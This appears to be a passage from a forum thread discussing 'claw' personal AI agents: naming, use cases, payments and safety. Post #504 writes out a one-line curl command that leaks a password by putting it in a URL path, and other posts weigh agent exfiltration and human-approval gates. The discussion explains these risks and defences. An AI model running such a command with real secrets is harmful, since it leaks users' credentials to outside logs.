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Claws are now a new layer on top of LLM agents

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Re: Claws are now a new layer on top of LLM agents

#501

Post by daxfohl »

ollybrinkman wrote: post #485

The challenge with layering on top of LLM agents is payment — agents need to call external tools and services, but most APIs still require accounts and API keys that agents can't manage. The x402 standard (HTTP 402 + EIP-712 USDC signatures) solves this cleanly: agent holds a wallet, signs a micropayment per call, no account needed. Worth considering as a primitive for agent-to-agent commerce in these architectures.

Could a malicious claw sidechannel this by creating a localhost service and calling that with the signed micropayment, to get the decrypted contents of the wallet or anything?

Re: Claws are now a new layer on top of LLM agents

#502

Post by ianbutler »

I'm not sure I like this trend of taking the first slightly hypey app in an existing space and then defining the nomenclature of the space relative to that app, in this case even suggesting it's another layer of the stack.

It implies an ubiquity that just isn't there (yet) so it feels unearned and premature in my mind. It seems better for social media narratives more than anything.

I'll admit I don't hate the term claws I just think it's early. Like Bandaid had much more perfusion and mindshare before it became a general term for anything as an example.

I also think this then has an unintended chilling effect in innovation because people get warned off if they think a space is closed to taking different shapes.

At the end of the day I don't think we've begun to see what shapes all of this stuff will take. I do kind of get a point of having a way to talk about it as it's shaping though. Idk things do be hard and rapidly changing.

Re: Claws are now a new layer on top of LLM agents

#503

Post by chongli »

jameslk wrote: post #499
aqme28 wrote: post #468

Earlier quoted context omitted.

How do you enforce this? You have a system where the agent can email people, but cannot email "too many people" without a password?

It's not a perfect security model. Between the friction and all caps instructions the model sees, it's a balance between risk and simplicity, or maybe risk and sanity. There's ways I can imagine the concept can be hardened, e.g. with a server layer in between that checks for things like dangerous actions or enforces rate limiting

What if instead of allowing the agent to act directly, it writes a simple high-level recipe or script that you can accept (and run) or reject? It should be very high level and declarative, but with the ability to drill down on each of the steps to see what's going on under the covers?

Re: Claws are now a new layer on top of LLM agents

#504

Post by [deleted] »

jmholla wrote: post #498
esafak wrote: post #438

Earlier quoted context omitted.

No. I was trying to explain that providing web access shouldn't be tantamount to handing over the keys. You should be able to use sites and apps through a limited service account, but this requires them to be built with agents and authorization in mind. REST APIs often exist but are usually written with developers in mind. If agents are going to go maintstream, these APIs need to be more user friendly.

That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.

[deleted]

Re: Claws are now a new layer on top of LLM agents

#505

Post by gaigalas »

notepad0x90 wrote: post #455
amelius wrote: post #429

Can't we rename "Claws" -> "Personal assistants"? OpenClaw is a stupid name. Even "OpenSlave" would be a better fit.

How about "Open Assistants"? "OpenAss" for short?

Just casual trivia:

One of the contemporaneous competitors to jQuery was called "DOMAss".

https://robertnyman.com/2007/03/02/domass-renamed-to-domassi...

Re: Claws are now a new layer on top of LLM agents

#506

Post by good-idea »

ZitchDog wrote: post #484
jameslk wrote: post #449

One safety pattern I’m baking into CLI tools meant for agents: anytime an agent could do something very bad, like email blast too many people, CLI tools now require a one-time password The tool tells the agent to ask the user for it, and the agent cannot proceed without it. The instructions from the tool show an all caps message explaining the risk and telling the agent that they must prompt the user for the OTP I ha…

I've created my own "claw" running in fly.io with a pattern that seems to work well. I have MCP tools for actions that I want to ensure human-in-the loop - email sending, slack message sending, etc. I call these "activities". The only way for my claw to execute these commands is to create an activity which generates a link with the summary of the acitvity for me to approve.

Any chance you have a repo to share?

Re: Claws are now a new layer on top of LLM agents

#507

Post by 1shooner »

throwaway13337 wrote: post #249

The real big deal about 'claws' in that they're agents oriented around the user. The kind of AI everyone hates is the stuff that is built into products. This is AI representing the company. It's a foreign invader in your space. Claws are owned by you and are custom to you. You even name them. It's the difference between R2D2 and a robot clone trying to sell you shit. (I'm aware that the llms themselves aren't local b…

I agree, and it seems like the incumbents in this user-oriented space (OS vendors) would be letting the messy, insecure version play out before making an earnest attempt at rolling it into their products.

Re: Claws are now a new layer on top of LLM agents

#508

Post by FooBarWidget »

krelian wrote: post #128
bravura wrote: post #102

Earlier quoted context omitted.

There are a few qualitative product experiences that make claw agents unique. One is that it relentlessly strives thoroughly to complete tasks without asking you to micromanage it. The second is that it has personality. The third is that it's artfully constructed so that it feels like it has infinite context. The above may sound purely circumstantial and frivolous. But together it's the first agent that many people w…

Can you give some example for what you use it for? I understand giving a summary of what's waiting in your inbox but what else?

I actually seriously want to hear about good use cases. So far I haven't found anything: either I don't trust the agent with the access because too many things can go wrong, or the process is too tailored to humans and I don't trust it to be able to habdle it.

For example, finding an available plumber. Currently involves Googling and then calling them one by one. Usually takes 15-20 calls before I can find one that has availability.

Re: Claws are now a new layer on top of LLM agents

#509

Post by k4rli »

intrasight wrote: post #92
tomjuggler wrote: post #23

There's a gap in the market here - not me but somebody needs to build an e-commerce bot and call it Santa Claws

Well now somebody will

Guaranteed some AI-bros have their "claws" scanning HN for both serious and non-serious business ideas like this.

Re: Claws are now a new layer on top of LLM agents

#510

Post by verdverm »

ProgrammerMatt wrote: post #444
verdverm wrote: post #381

Earlier quoted context omitted.

Going from ten finger typing to thumb only or voice has never panned out for me. Any tips?

I always want to know what the hell it is these people claim to be working on lmao. But seems like this guy is the real deal based on his post history

Simon has a lot more smaller projects than one big project these days (afaik, so special insights), which are more conducive to this maybe?

I always try to not use my phone when out and about, preferring to chat people up so we don't lose our IRL social skills. They are more interesting than whatever my phone might have to offer me in those moments.

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